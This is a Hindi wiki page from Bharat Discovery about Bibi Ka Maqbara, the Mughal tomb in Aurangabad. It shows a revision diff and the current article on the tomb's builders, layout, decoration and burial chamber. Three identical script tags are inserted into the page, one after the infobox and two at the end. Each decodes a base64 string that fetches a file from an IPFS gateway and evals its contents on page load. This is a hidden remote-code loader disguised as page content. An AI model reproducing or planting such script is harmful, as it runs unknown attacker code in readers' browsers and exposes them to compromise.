एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "०"।

"बीबी का मक़बरा" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(6 सदस्यों द्वारा किये गये बीच के 14 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
[[चित्र:Bibi-Ka-Maqbara-Aurangabad.jpg|thumb|250px|बीबी का मक़बरा, [[औरंगाबाद महाराष्ट्र|औरंगाबाद]]<br /> Bibi Ka Maqbara, Aurangabad]]
+
{{सूचना बक्सा पर्यटन
*बीबी का मक़बरा [[महाराष्ट्र]] राज्य के [[औरंगाबाद महाराष्ट्र|औरंगाबाद]] में स्थित है।
+
|चित्र=Bibi-Ka-Maqbara-Aurangabad.jpg
*औरंगाबाद में दौलताबाद क़िले से कुछ ही दूरी पर बीबी का मक़बरा है।<ref name="पुरवाई">{{cite web |url=http://purvaai.wordpress.com/2010/04/25/%E0%A4%AC%E0%A5%80%E0%A4%AC%E0%A5%80-%E0%A4%95%E0%A4%BE-%E0%A4%AE%E0%A4%95%E0%A4%AC%E0%A4%B0%E0%A4%BE/ |title=बीबी का मक़बरा |accessmonthday=[[27 जनवरी]] |accessyear=[[2011]] |last= |first= |authorlink= |format= |publisher=पुरवाई |language=हिन्दी }}</ref>
+
|चित्र का नाम=बीबी का मक़बरा
*बीबी का मक़बरा कालांतर में [[मुग़ल]] शहंशाह [[औरंगज़ेब]] ने फतेहनगर के समीप ही [[ताजमहल]] की तरह बनवाया था और नगर का नाम खाड़की से बदलकर औरंगाबाद कर दिया।
+
|विवरण=यह मक़बरा [[मुग़ल]] सम्राट [[औरंगज़ेब]] की पत्‍नी '[[रबिया-उल-दौरानी]]' उर्फ 'दिलरास बानो बेगम' का है। 'बीबी के मक़बरे' में प्रवेश इसकी दक्षिण दिशा में एक लकड़ी के प्रवेश द्वार से किया जाता है।
*बीबी के मक़बरा का निर्माण मुग़ल बादशाह औरंगज़ेब के शहज़ादे [[आज़मशाह]] ने अंतिम 17वीं शताब्दी में करवाया था।
+
|राज्य=[[महाराष्ट्र]]
*बीबी का मक़बरा को औरंगजेब के बेटे आज़मशाह ने अपनी माता [[रबिया दुर्रानी]] की याद में बनवाया था।
+
|केन्द्र शासित प्रदेश=
*बीबी का मक़बरा [[अकबर]] एवं [[शाहजहाँ]] के काल के शाही निर्माण से अंतिम मुग़लों के साधारण वास्तुकला के परिवर्तन को दर्शाता है।<ref>{{cite web |url=http://hi.worldpoi.info/poi/756/ |title=बीबी का मकबरा |accessmonthday=[[27 जनवरी]] |accessyear=[[2011]] |last= |first= |authorlink= |format= |publisher=वर्ल्डपोई |language=हिन्दी }}</ref>
+
|ज़िला=[[औरंगाबाद ज़िला, महाराष्ट्र|औरंगाबाद ज़िला]]
*बीबी का मक़बरा दक्षिण भारतीय ताज के रूप में जाना जाता है।
+
|निर्माता=[[आजमशाह|शाहज़ादा आजमशाह]]
*प्रवेश द्वार से भीतर जाने के बाद आगे बिल्कुल ताजमहल जैसा लगता हैं। सामने एक छोटा ताल हैं जिसमे ताजमहल जैसी छवि झिलमिलाती हैं। आगे गलियारा जैसा हैं जिसके दोनों और हरीतिमा हैं।<ref name="पुरवाई" />
+
|स्वामित्व=
*मक़बरे में आगे जाकर एक बड़ा हॉल है जिसमें बीचोबीच रेलिंग लगी हुई है जिससे नीचे मक़बरा दिखाई देता है। हॉल की दीवारों और छत पर बहुत सुन्दर नक़्क़ाशी है। इस बड़े हॉल के चारों ओर खुला भाग और चारों ओर स्तम्भ बने हुए हैं।<ref name="पुरवाई" />
+
|प्रबंधक=
*मक़बरे के बाहर चारों ओर बड़े भू-भाग में हरियाली हैं। बीबी का मक़बरा बहुत सुन्दर जगह हैं।<ref name="पुरवाई" />
+
|निर्माण काल=सन 1651 से 1661 के दौरान
 +
|स्थापना=
 +
|भौगोलिक स्थिति=
 +
|मार्ग स्थिति=
 +
|मौसम=
 +
|तापमान=
 +
|प्रसिद्धि=इस मक़बरे का प्रेरणा स्रोत [[आगरा]] का विश्‍व प्रसिद्ध '[[ताजमहल]]' था। यही कारण है कि यह "दक्‍कन के ताज" नाम से प्रसिद्ध है।
 +
|कब जाएँ=
 +
|कैसे पहुँचें=
 +
|हवाई अड्डा=
 +
|रेलवे स्टेशन=
 +
|बस अड्डा=
 +
|यातायात=
 +
|क्या देखें=
 +
|कहाँ ठहरें=
 +
|क्या खायें=
 +
|क्या ख़रीदें=
 +
|एस.टी.डी. कोड=
 +
|ए.टी.एम=
 +
|सावधानी=
 +
|मानचित्र लिंक=
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=यह मक़बरा एक विशाल अहाते के केंद्र में स्थित है, जो अनुमानत: उत्तर-दक्षिण में 458 मीटर और पूर्व-पश्‍चिम में 275 मीटर है। 'रबिया-उल-दौरानी' के मानवीय [[अवशेष]] भूतल के नीचे रखे गए हैं, जो अत्‍यंत सुंदर डिज़ाइनों वाले एक अष्‍टकोणीय संगमरमर के आवरण से घिरा हुआ है।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
 
 +
'''बीबी का मक़बरा''' [[महाराष्ट्र]] राज्य के [[औरंगाबाद महाराष्ट्र|औरंगाबाद]] में स्थित है। यह मक़बरा [[मुग़ल]] सम्राट [[औरंगज़ेब]] (1658-1707 ई.) की पत्‍नी '[[रबिया-उल-दौरानी]]' उर्फ 'दिलरास बानो बेगम' का एक सुंदर मक़बरा है। माना जाता है कि इस मकबरे का निर्माण राजकुमार आजमशाह ने अपनी माँ की स्‍मृति में सन 1651 से 1661 के दौरान करवाया। मुख्‍य प्रवेश द्वार पर पाए गए एक [[अभिलेख]] में यह उल्‍लेख है कि यह मक़बरा अताउल्‍ला नामक एक वास्‍तुकार और हंसपत राय नामक एक अभियंता द्वारा अभिकल्पित और निर्मित किया गया। इस मकबरे का प्रेरणा स्रोत [[आगरा]] का विश्‍व प्रसिद्ध [[ताजमहल]] था। यही कारण है कि "दक्‍कन के ताज" के नाम से जाना जाता है।
 +
==संरचना==
 +
यह मक़बरा एक विशाल अहाते के केंद्र में स्थित है, जो अनुमानत: उत्तर-दक्षिण में 458 मीटर और पूर्व-पश्‍चिम में 275 मीटर है। बरादरियाँ या स्तंभयुक्त मंडप, अहाते की दीवार के उत्‍तर, पूर्व और पश्‍चिमी भाग के केंद्र में अवस्थित हैं। विशिष्ट मुग़ल चारबाग पद्धति मक़बरे को शोभायमान करती है। इस प्रकार इसकी एकरूपता और इसके उत्‍कृष्‍ट उद्यान विन्‍यास से इसके सौंदर्य और भव्‍यता में चार चांद लग जाते हैं। अहाते की ऊंची दीवार नुकीले चापाकार आलों से मोखेदार बनाई गई है और इसे आकर्षक बनाने के लिए नियमित अंतरालों पर बुर्ज बनाए गए हैं। आलों को छोटी [[मीनार|मीनारों]] से मुकटित भित्ति स्‍तंभों द्वारा विभक्‍त किया गया है।<ref name="ab">{{cite web |url=http://asi.nic.in/asi_hn_monu_tktd_maharashtra_bibi_makbara.asp|title=बीबी का मक़बरा, औरंगाबाद|accessmonthday=22 अप्रैल|accessyear=2013 |last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
 +
====बेल-बूटे की सजावट====
 +
'बीबी के मक़बरे' में प्रवेश इसकी दक्षिण दिशा में एक लकड़ी के प्रवेश द्वार से किया जाता है, जिस पर बाहर की ओर से पीतल की प्‍लेट पर बेल-बूटे के उत्‍कृष्‍ट डिज़ाइन हैं।[[चित्र:Bibi-Ka-Maqbara.jpg|thumb|left|250px|बीबी का मक़बरा, [[औरंगाबाद महाराष्ट्र|औरंगाबाद]]]] प्रवेश द्वार से गुजरने के बाद एक छोटा-सा कुण्‍ड और साधारण आवरण दीवार है, जो मुख्‍य संरचना की ओर जाती है। आवरण वाले मार्ग के केंद्र में फव्‍वारों की एक श्रंखला है, जो इस शांत वातावरण का सौंदर्य और अधिक बढ़ा देती हैं। मक़बरा एक ऊंचे-वर्गाकार चबूतरे पर बना है और इसके चारों कोनों में चार मीनारें हैं। इसमें तीन ओर से सीढियों दवारा पहुंचा जा सकता है। मुख्य संरचना के पश्चिम में एक मस्जिद पाई गई है, जो [[हैदराबाद]] के निजाम ने बाद में बनवाई थी, जिसके कारण प्रवेश मार्ग बंद हो गया है। इस मकबरे में डेडो स्तर तक संगमरमर लगा हुआ है। डेडो स्‍तर से ऊपर गुम्‍बद के आधार तक यह बेसाल्‍टी ट्रैप से बना है और गुम्‍बद भी संगमरमर से बना है। महीन पलस्‍तर से बेसाल्‍टी ट्रैप को ढका गया है और इसे पॉलिश से चमकाया गया है और सूक्ष्‍म गचकारी अलंकरणों से सजाया गया है
 +
==अवशेष==
 +
'[[रबिया-उल-दौरानी]]' के मानवीय अवशेष भूतल के नीचे रखे गए हैं जो अत्‍यंत सुंदर डिज़ाइनों वाले एक अष्‍टकोणीय संगमरमर के आवरण से घिरा हुआ है जिस तक सीढियाँ उतर कर जाया जा सकता है। मक़बरे के भूतल के सदृश इस कक्ष की छत को अष्‍टकोणीय विवर द्वारा वेधा गया है और एक नीची सुरक्षा भित्ति के रूप में संगमरमर का आवरण बनाया गया है। अत: अष्‍टकोणीय विवर से नीचे देखने पर भूतल से भी क़ब्र को देखा जा सकता है। मक़बरे के शिखर पर एक गुम्‍बद है, जिसे जाली से वेधा गया है और इसके साथ वाले पैनलों की पुष्‍प डिज़ाइनों से सजावट की गई है, जो उतनी ही बारीकी और सफाई से की गई है, जितनी कि [[आगरा]] के [[ताजमहल]] की। मक़बरे के पश्‍चिम में एक छोटी मस्ज्दि स्थित है, जो शायद बाद में बनाई गई है। आलों को पांच नोकदार चापों द्वारा आर-पार वेधा गया है और प्रत्‍येक कोने पर एक [[मीनार]] देखी जा सकती है।<ref name="ab"/>
 +
 
 +
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
 +
==विथिका==
 +
<center>
 +
बीबी का मक़बरा
 +
<gallery>
 +
चित्र:Bibi-Ka-Maqbara-3.jpg
 +
चित्र:Bibi-Ka-Maqbara-4.jpg
 +
चित्र:Bibi-Ka-Maqbara-5.jpg 
 +
चित्र:Bibi-Ka-Maqbara-6.jpg
 +
चित्र:Bibi-Ka-Maqbara-7.jpg
 +
चित्र:Bibi-Ka-Maqbara-8.jpg
 +
चित्र:Bibi-Ka-Maqbara-9.jpg
 +
</gallery>
 +
</center>
  
{{प्रचार}}
 
{{लेख प्रगति
 
|आधार=
 
|प्रारम्भिक=प्रारम्भिक1
 
|माध्यमिक=
 
|पूर्णता=
 
|शोध=
 
}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
पंक्ति 24: पंक्ति 68:
 
{{महाराष्ट्र के पर्यटन स्थल}}
 
{{महाराष्ट्र के पर्यटन स्थल}}
 
{{मुग़ल साम्राज्य}}
 
{{मुग़ल साम्राज्य}}
[[Category:नया पन्ना]]
+
[[Category:महाराष्ट्र]][[Category:महाराष्ट्र के पर्यटन स्थल]][[Category:महाराष्ट्र के ऐतिहासिक स्थान]][[Category:पर्यटन कोश]][[Category:स्थापत्य कला]][[Category:कला कोश]]
[[Category:महाराष्ट्र]]
 
[[Category:महाराष्ट्र के पर्यटन स्थल]]
 
[[Category:महाराष्ट्र के ऐतिहासिक स्थान]]
 
[[Category:पर्यटन कोश]]
 
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

07:31, 14 सितम्बर 2016 के समय का अवतरण

बीबी का मक़बरा
बीबी का मक़बरा
विवरण यह मक़बरा मुग़ल सम्राट औरंगज़ेब की पत्‍नी 'रबिया-उल-दौरानी' उर्फ 'दिलरास बानो बेगम' का है। 'बीबी के मक़बरे' में प्रवेश इसकी दक्षिण दिशा में एक लकड़ी के प्रवेश द्वार से किया जाता है।
राज्य महाराष्ट्र
ज़िला औरंगाबाद ज़िला
निर्माता शाहज़ादा आजमशाह
निर्माण काल सन 1651 से 1661 के दौरान
प्रसिद्धि इस मक़बरे का प्रेरणा स्रोत आगरा का विश्‍व प्रसिद्ध 'ताजमहल' था। यही कारण है कि यह "दक्‍कन के ताज" नाम से प्रसिद्ध है।
अन्य जानकारी यह मक़बरा एक विशाल अहाते के केंद्र में स्थित है, जो अनुमानत: उत्तर-दक्षिण में 458 मीटर और पूर्व-पश्‍चिम में 275 मीटर है। 'रबिया-उल-दौरानी' के मानवीय अवशेष भूतल के नीचे रखे गए हैं, जो अत्‍यंत सुंदर डिज़ाइनों वाले एक अष्‍टकोणीय संगमरमर के आवरण से घिरा हुआ है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बीबी का मक़बरा महाराष्ट्र राज्य के औरंगाबाद में स्थित है। यह मक़बरा मुग़ल सम्राट औरंगज़ेब (1658-1707 ई.) की पत्‍नी 'रबिया-उल-दौरानी' उर्फ 'दिलरास बानो बेगम' का एक सुंदर मक़बरा है। माना जाता है कि इस मकबरे का निर्माण राजकुमार आजमशाह ने अपनी माँ की स्‍मृति में सन 1651 से 1661 के दौरान करवाया। मुख्‍य प्रवेश द्वार पर पाए गए एक अभिलेख में यह उल्‍लेख है कि यह मक़बरा अताउल्‍ला नामक एक वास्‍तुकार और हंसपत राय नामक एक अभियंता द्वारा अभिकल्पित और निर्मित किया गया। इस मकबरे का प्रेरणा स्रोत आगरा का विश्‍व प्रसिद्ध ताजमहल था। यही कारण है कि "दक्‍कन के ताज" के नाम से जाना जाता है।

संरचना

यह मक़बरा एक विशाल अहाते के केंद्र में स्थित है, जो अनुमानत: उत्तर-दक्षिण में 458 मीटर और पूर्व-पश्‍चिम में 275 मीटर है। बरादरियाँ या स्तंभयुक्त मंडप, अहाते की दीवार के उत्‍तर, पूर्व और पश्‍चिमी भाग के केंद्र में अवस्थित हैं। विशिष्ट मुग़ल चारबाग पद्धति मक़बरे को शोभायमान करती है। इस प्रकार इसकी एकरूपता और इसके उत्‍कृष्‍ट उद्यान विन्‍यास से इसके सौंदर्य और भव्‍यता में चार चांद लग जाते हैं। अहाते की ऊंची दीवार नुकीले चापाकार आलों से मोखेदार बनाई गई है और इसे आकर्षक बनाने के लिए नियमित अंतरालों पर बुर्ज बनाए गए हैं। आलों को छोटी मीनारों से मुकटित भित्ति स्‍तंभों द्वारा विभक्‍त किया गया है।[1]

बेल-बूटे की सजावट

'बीबी के मक़बरे' में प्रवेश इसकी दक्षिण दिशा में एक लकड़ी के प्रवेश द्वार से किया जाता है, जिस पर बाहर की ओर से पीतल की प्‍लेट पर बेल-बूटे के उत्‍कृष्‍ट डिज़ाइन हैं।

बीबी का मक़बरा, औरंगाबाद

प्रवेश द्वार से गुजरने के बाद एक छोटा-सा कुण्‍ड और साधारण आवरण दीवार है, जो मुख्‍य संरचना की ओर जाती है। आवरण वाले मार्ग के केंद्र में फव्‍वारों की एक श्रंखला है, जो इस शांत वातावरण का सौंदर्य और अधिक बढ़ा देती हैं। मक़बरा एक ऊंचे-वर्गाकार चबूतरे पर बना है और इसके चारों कोनों में चार मीनारें हैं। इसमें तीन ओर से सीढियों दवारा पहुंचा जा सकता है। मुख्य संरचना के पश्चिम में एक मस्जिद पाई गई है, जो हैदराबाद के निजाम ने बाद में बनवाई थी, जिसके कारण प्रवेश मार्ग बंद हो गया है। इस मकबरे में डेडो स्तर तक संगमरमर लगा हुआ है। डेडो स्‍तर से ऊपर गुम्‍बद के आधार तक यह बेसाल्‍टी ट्रैप से बना है और गुम्‍बद भी संगमरमर से बना है। महीन पलस्‍तर से बेसाल्‍टी ट्रैप को ढका गया है और इसे पॉलिश से चमकाया गया है और सूक्ष्‍म गचकारी अलंकरणों से सजाया गया है

अवशेष

'रबिया-उल-दौरानी' के मानवीय अवशेष भूतल के नीचे रखे गए हैं जो अत्‍यंत सुंदर डिज़ाइनों वाले एक अष्‍टकोणीय संगमरमर के आवरण से घिरा हुआ है जिस तक सीढियाँ उतर कर जाया जा सकता है। मक़बरे के भूतल के सदृश इस कक्ष की छत को अष्‍टकोणीय विवर द्वारा वेधा गया है और एक नीची सुरक्षा भित्ति के रूप में संगमरमर का आवरण बनाया गया है। अत: अष्‍टकोणीय विवर से नीचे देखने पर भूतल से भी क़ब्र को देखा जा सकता है। मक़बरे के शिखर पर एक गुम्‍बद है, जिसे जाली से वेधा गया है और इसके साथ वाले पैनलों की पुष्‍प डिज़ाइनों से सजावट की गई है, जो उतनी ही बारीकी और सफाई से की गई है, जितनी कि आगरा के ताजमहल की। मक़बरे के पश्‍चिम में एक छोटी मस्ज्दि स्थित है, जो शायद बाद में बनाई गई है। आलों को पांच नोकदार चापों द्वारा आर-पार वेधा गया है और प्रत्‍येक कोने पर एक मीनार देखी जा सकती है।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

विथिका

बीबी का मक़बरा

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 बीबी का मक़बरा, औरंगाबाद (हिन्दी)। । अभिगमन तिथि: 22 अप्रैल, 2013।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>